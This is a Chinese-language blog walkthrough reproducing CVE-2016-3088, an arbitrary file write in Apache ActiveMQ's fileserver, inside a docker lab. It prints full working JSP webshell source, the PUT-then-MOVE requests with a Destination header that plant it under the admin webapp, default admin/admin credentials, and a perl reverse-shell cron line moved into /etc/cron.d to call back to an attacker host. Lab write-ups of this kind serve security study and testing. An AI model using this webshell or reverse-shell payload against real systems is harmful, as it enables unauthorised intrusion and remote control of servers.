ActiveMQ任意文件写入漏洞(CVE-2016-3088)

一、漏洞描述

1、漏洞编号:CVE-2016-3088

2、影响版本:Apache ActiveMQ 5.x~5.13.0

在 Apache ActiveMQ 5.12.x~5.13.x 版本中,默认关闭了 fileserver 这个应用(不过,可以在conf/jetty.xml 中开启);在 5.14.0 版本后,彻底删除了 fileserver 应用

二、漏洞介绍

该漏洞出现在 fileserver 应用中,漏洞原理是 fileserver 支持写入文件(但不解析 jsp),同时支持移动文件(MOVE 请求)。所以我们只需写入一个文件,然后使用 MOVE 请求将其移动到任意位置,造成任意文件写入漏洞。

写入文件方法

写入 webshell

写入 cron 或 ssh key 等文件

写入 jar 或 jetty.xml 等库和配置文件

三、靶场相关操作

在相应的文件夹位置打开终端后进行如下操作

运行此靶场

sudo docker-compose up -d

查看启动环境

sudo docker ps

关闭此靶场环境

sudo docker-compose down

四、登录网页

看到了版本信息

五、漏洞复现

方法一:写入 webshell

1)条件收集

1、需要知道 ActiveMQ 的绝对路径

ActiveMQ 的绝对路径可以通过

http://your-ip:8161/admin/test/systemProperties.jsp

页面获取,不过该页面需要登录才能访问。

2、需要能登录 admin 或者 api

获取用户名和密码,可以通过弱口令、暴力破解、社工等方法

这里默认的登录账号密码都是

admin

2)抓包上传webshell

需要把 webshell 上传到 fileserver,然后才能从 fileserver 转移。因为 ActiveMQ 是个 java 程序,因此需要传个 jsp webshell

下面是刚抓到包后的样子

下面是jsp webshell的代码

java 复制代码
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
 
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

接下来对数据包进行修改

将get 变为post然后再上传jsp webshell

然后在上面基础上继续修改该包,把 PUT 改成 MOVE ,然后在下一行添加

Destination: ++++file:///opt/activemq/webapps/admin/1.jsp++++

接下来就可以使用蚁剑进行连接了

注意还需要添加请求头

页面段查看请求头

重点是记住 admin 应用 是需要登录的 ,所以记得一定要在连接中 添加 Authorization 头

蚁剑添加http请求头

可以查看etc/passwd

方法二:写入 cron 拿反弹 shell

1)条件收集

**1、**需要运行 ActiveMQ 的用户有 root 权限

**2、**服务器开启了 cron 服务

docker container ps //查看容器id

容器id: 6261b17bd033

docker exec -it 容器id /bin/bash

当你运行 docker exec -it 容器id /bin/bash 时,你实际上是在告诉 Docker:"我要在指定的容器内启动一个交互式的 Bash shell

docker exec -it 6261b17bd033 /bin/bash

**3、**运行 ActiveMQ 的用户有使用 crontab 的权限

第三点条件默认情况是满足的,除非存在 cron.allow 或者 cron.deny 文件,但这两个文件在 vulhub 提供的漏洞环境中不存在。

cron知识简述

**1、**cron 是 Linux 系统的守护进程,用于在特定时间自动执行重复任务。

**2、**标准 shell 是攻击者作为客户端去连接目标服务器;反弹 shell 是攻击者作为服务器,监听某端口,而目标设备作为客户端主动连接攻击者
应用场景:

**①、**目标机在局域网内

**②、**目标机 ip 地址是动态的

**③、**有防火墙等限制,目标机只能发请求,不能收请求

**④、**不确定目标机何时具备连接条件

2)抓包上传webshell

1、上传 cron 文件到 fileserver

反弹 shell 内容:

注意添加攻击机的ip和想要监听的端口

bash 复制代码
    */1 * * * * root /usr/bin/perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

##

2、把 cron 文件从 fileserver 移动到 /etc/cron.d/

这步忘记截图了,方法和法一的一样GET改换为MOVE

Destination: ++++file:///opt/activemq/webapps/admin/++++ ++++cron1.txt++++

2、攻击机上开启监听并等待反弹 shell 连接

注意哦!!!操作完记得关闭靶场

关闭此靶场环境

sudo docker-compose down

相关推荐
xiaoxiongip66612 分钟前
HTTP 和 HTTPS
网络·爬虫·网络协议·tcp/ip·http·https·ip
Ven%13 分钟前
centos查看硬盘资源使用情况命令大全
linux·运维·centos
JaneJiazhao17 分钟前
HTTPSOK:SSL/TLS证书自动续期工具
服务器·网络协议·ssl
JaneJiazhao18 分钟前
HTTPSOK:智能SSL证书管理的新选择
网络·网络协议·ssl
CXDNW18 分钟前
【网络面试篇】HTTP(2)(笔记)——http、https、http1.1、http2.0
网络·笔记·http·面试·https·http2.0
萨格拉斯救世主1 小时前
戴尔R930服务器增加 Intel X710-DA2双万兆光口含模块
运维·服务器
无所谓จุ๊บ1 小时前
树莓派开发相关知识十 -小试服务器
服务器·网络·树莓派
Jtti1 小时前
Windows系统服务器怎么设置远程连接?详细步骤
运维·服务器·windows
TeYiToKu1 小时前
笔记整理—linux驱动开发部分(9)framebuffer驱动框架
linux·c语言·arm开发·驱动开发·笔记·嵌入式硬件·arm
dsywws1 小时前
Linux学习笔记之时间日期和查找和解压缩指令
linux·笔记·学习